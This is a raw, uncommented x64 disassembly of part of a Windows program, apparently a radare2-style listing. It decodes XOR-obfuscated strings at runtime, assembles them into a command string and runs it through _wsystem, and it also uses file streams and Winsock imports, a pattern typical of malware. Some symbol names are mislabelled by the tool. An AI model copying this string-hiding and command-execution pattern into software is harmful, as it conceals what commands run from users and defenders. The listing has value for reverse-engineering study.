jl 0x1400dd0fd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1401375f8]
xorps xmm1, xmm0
movd dword [rbp + 0x1b0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1b4]
xorps xmm2, xmm1
movd dword [rbp + 0x1b4], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x1b8], xmm2
mov ecx, recv
mov eax, ecx
lea r8, [rbp + 0x1b0]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x1400dd110
lea rdx, [rbp + 0x1b0]
mov rcx, r9
call fcn.1400fa330
mov rcx, rax
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
mov eax, dword [str.eBOL9]
mov dword [rbp + 0x190], eax
movzx eax, byte [0x140134970]
mov byte [rbp + 0x190], 0x2e
xor byte [rbp + 0x191], 0x36
xor byte [rbp + 0x192], 0x37
xor byte [rbp + 0x193], 0x38
xor al, 0x39
mov byte [rbp + 0x194], al
lea rdx, [rbp + 0x190]
call fcn.1400fa330
nop
lea rcx, [rbp + 0x410]
call fcn.1400f5ce0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rdi
mov qword [rbp + 0x248], 7
mov word [rbp + 0x230], di
or esi, 4
mov dword [rbp + 0x1d0], esi
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], rax
mov ecx, dword [rbp - 0x18]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1400dd212
mov rax, qword [rbp - 0x48]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400dd212
mov rax, qword [rbp - 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp - 0x20]
cmovb rdx, qword [rbp - 0x20]
sub rdx, r9
jmp 0x1400dd23a
test cl, 4
jne 0x1400dd27e
mov rax, qword [rbp - 0x50]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400dd27e
mov rax, qword [rbp - 0x70]
mov r9, qword [rax]
mov rax, qword [rbp - 0x38]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
mov rax, r9
sar rdx, 1
test rax, rax
je 0x1400dd27e
lea rcx, [rbp + 0x230]
cmp rdx, 7
ja 0x1400dd279
mov qword [rbp + 0x240], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x230], di
lea rbx, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
jmp 0x1400dd27e
call fcn.1400fc040
and esi, 0xfffffffb
or esi, 2
mov r8d, 1
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x70]
call fcn.1400f2830
nop
lea rcx, [rbp + 0x230]
call fcn.1400f5ce0
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x70]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
lea rcx, [rbp + 0x88]
test al, al
je 0x1400dd38d
call fcn.1400f4fd0
test rax, rax
jne 0x1400dd2f3
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], r15
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x88]
call fcn.1400f2780
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x60], rbx
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x5c], edx
mov qword [rsp + 0x78], r13
lea rcx, [rsp + 0x78]
call fcn.1400f4a30
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
jmp 0x1400dce05
call fcn.1400f4fd0
test rax, rax
mov r15, 0xffffffffffffffff
jne 0x1400dd3bc
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], 7
mov word [rbp + 0x250], di
bts esi, 0xa
mov dword [rbp + 0x1d0], esi
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], rax
mov rcx, rdi
mov r8d, dword [rbp - 0x18]
mov eax, r8d
and al, 0x22
cmp al, 2
je 0x1400dd430
mov rax, qword [rbp - 0x48]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400dd430
mov rax, qword [rbp - 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp - 0x20]
cmovb rdx, qword [rbp - 0x20]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x1400dd46b
test r8b, 4
jne 0x1400dd4a3
mov rax, qword [rbp - 0x50]
mov r8, qword [rax]
mov rdx, rdi
test r8, r8
je 0x1400dd464
mov rax, qword [rbp - 0x70]
mov r9, qword [rax]
mov rax, qword [rbp - 0x38]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, r8
sar rdx, 1
mov rcx, r9
jmp 0x1400dd46b
mov r9, qword [rbp + 0x210]
test rcx, rcx
je 0x1400dd4a3
lea rcx, [rbp + 0x250]
cmp rdx, 7
ja 0x1400dd49d
mov qword [rbp + 0x260], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x250], di
jmp 0x1400dd4a3
call fcn.1400fc040
nop
mov r8d, 2
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x430]
call fcn.1400f2830
mov rbx, rax
lea rax, [rbp + 0x70]
cmp rax, rbx
je 0x1400dd4f2
lea rcx, [rbp + 0x88]
call fcn.1400f4fd0
mov rdx, rbx
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::swap_class_std::basic_iostream_char__struct_std::char_traits_char______ptr64____ptr64]
lea rdx, [rbx + 0x18]
lea rcx, [rbp + 0x88]
call fcn.1400f6710
nop
mov rax, qword [rbp + 0x430]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x430], rbx
mov rax, qword [rbp + 0x430]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0x42c], edx
lea rcx, [rbp + 0x448]
call fcn.1400f2780
lea rcx, [rbp + 0x450]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x4e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x250]
call fcn.1400f5ce0
movsd xmm0, qword [str.GSD_M0ONH__]
movsd qword [rbp + 0x1b0], xmm0
movzx ecx, word [0x140136298]
mov word [rbp + 0x1b8], cx
movzx eax, byte [0x14013629a]
mov byte [rbp + 0x1b0], WSACleanup
xor byte [rbp + 0x1b1], 0x36
xor byte [rbp + 0x1b2], 0x37
xor byte [rbp + 0x1b3], 0x38
xor byte [rbp + 0x1b4], 0x39
xor byte [rbp + 0x1b5], 0x3a
xor byte [rbp + 0x1b6], 0x3b
xor byte [rbp + 0x1b7], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x1b8], cl
xor byte [rbp + 0x1b9], 0x3e
xor al, 0x3f
mov byte [rbp + 0x1ba], al
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x80]
call fcn.1400f9c50
lea rcx, [rbp + 0x88]
call fcn.1400f4fd0
test rax, rax
jne 0x1400dd60e
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x88]
call fcn.1400f2780
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x5c], edx
mov qword [rsp + 0x78], r13
lea rcx, [rsp + 0x78]
call fcn.1400f4a30
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.14001eda0
mov qword [rbp + 0x198], 0
movups xmm2, xmmword [0x1401363a8]
movups xmmword [rbp + 0x210], xmm2
movsd xmm0, qword [0x1401363b8]
movsd qword [rbp + 0x220], xmm0
movzx eax, word [0x1401363c0]
mov word [rbp + 0x228], ax
cmp byte [0x1401363c1], 0
je 0x1400dd9cf
mov r8d, edi
cmp r12d, 2
jl 0x1400dd989
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x210], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x214]
xorps xmm2, xmm1
movd dword [rbp + 0x214], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x218]
xorps xmm2, xmm1
movd dword [rbp + 0x218], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm15, xmm0
andps xmm15, xmm11
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, dword [rbp + 0x21c]
xorps xmm15, xmm1
movd dword [rbp + 0x21c], xmm15
movdqa xmm2, xmmword [0x140138f80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x220]
xorps xmm2, xmm1
movd dword [rbp + 0x220], xmm2
movdqa xmm2, xmmword [0x140138f90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x224]
xorps xmm2, xmm1
movd dword [rbp + 0x224], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400dd9a0
xor r8d, r8d
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x210]
call fcn.14004c970
test al, al
je 0x1400de007
call fcn.1400d4840
movsd xmm0, qword [str.iFEW_SWYN]
movsd qword [rbp + 0x1b0], xmm0
mov ecx, dword [0x1401351b8]
mov dword [rbp + 0x1b8], ecx
movzx eax, word [0x1401351bc]
mov word [rbp + 0x1bc], ax
cmp byte [0x1401351bd], 0
je 0x1400ddbbf
mov r8d, edi
cmp r12d, 2
jl 0x1400ddb76
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.iFEW_SWYN]
xorps xmm1, xmm0
movd dword [rbp + 0x1b0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1b4]
xorps xmm2, xmm1
movd dword [rbp + 0x1b4], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x1b8], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x1b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400ddb90
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
lea rax, [rbp + 0x1b0]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400ddbe0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x230]
call fcn.140079f10
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400f3f70
nop
lea r8, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova r8, qword [rbp + 0x230]
mov r9, qword [rbp + 0x240]
add r9, r8
lea rdx, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400f5900
nop
lea rsi, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x2f0], rsi
lea rcx, [rbp + 0x330]
call fcn.1400f5ce0
lea rcx, [rbp + 0x310]
call fcn.1400955d0
mov rcx, qword [rbp + 0x308]
test rcx, rcx
je 0x1400ddc8b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400ddc8b
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rbp + 0x410]
call fcn.14007c7f0
mov rbx, rax
movsd xmm0, qword [str.PNGTVHN]
movsd qword [rbp + 0x1b0], xmm0
mov edx, dword [0x1401388b0]
mov dword [rbp + 0x1b8], edx
movzx ecx, word [0x1401388b4]
mov word [rbp + 0x1bc], cx
movzx ecx, byte [0x1401388b6]
mov byte [rbp + 0x1be], cl
cmp r12d, 2
jl 0x1400dde18
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm7, xmm0
andps xmm7, xmm11
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd eax, xmm14
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [str.PNGTVHN]
xorps xmm7, xmm0
movd dword [rbp + 0x1b0], xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm9, xmm0
andps xmm9, xmm11
packuswb xmm9, xmm9
packuswb xmm9, xmm9
movd xmm0, eax
paddb xmm9, xmm0
movd xmm1, dword [rbp + 0x1b4]
xorps xmm9, xmm1
movd dword [rbp + 0x1b4], xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm8, xmm0
andps xmm8, xmm11
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd xmm0, eax
paddb xmm8, xmm0
movd xmm1, edx
xorps xmm8, xmm1
movd dword [rbp + 0x1b8], xmm8
mov edi, recv
mov eax, edi
lea r8, [rbp + 0x1b0]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, dil
sub al, cl
add al, 0x35
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xf
jl 0x1400dde30
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e0], xmm1
lea rax, [rbp + 0x1b0]
nop dword [rax + rax]
inc r15
cmp byte [rax + r15], 0
jne 0x1400dde80
mov r8, r15
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2d0]
call fcn.140079f10
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400f3f70
nop
lea r8, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 0xf
cmova r8, qword [rbp + 0x2d0]
mov r9, qword [rbp + 0x2e0]
add r9, r8
lea rdx, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400f5900
nop
mov qword [rbp + 0x2f0], rsi
lea rcx, [rbp + 0x330]
call fcn.1400f5ce0
lea rcx, [rbp + 0x310]
call fcn.1400955d0
mov rcx, qword [rbp + 0x308]
test rcx, rcx
je 0x1400ddf27
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400ddf27
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov r9, rbx
lea r8, [rbp + 0x3f0]
lea rcx, [rbp + 0x390]
call fcn.1400fd560
nop
lea r9, [rbp + 0x3d0]
lea r8, [rbp + 0x390]
lea rcx, [rbp + 0x290]
call fcn.1400fd560
lea rcx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 7
cmova rcx, qword [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
lea rcx, [rbp + 0x290]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x390]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x3f0]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1400955d0
nop
lea rcx, [rbp + 0x410]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x3d0]
call fcn.1400f5ce0
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x1400de007
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400de002
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400de002
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401101a0
mov rcx, qword [rbp + 0x678]
xor rcx, rsp
call fcn.14010fe20
lea r11, [rsp + 0x820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401102b0
int3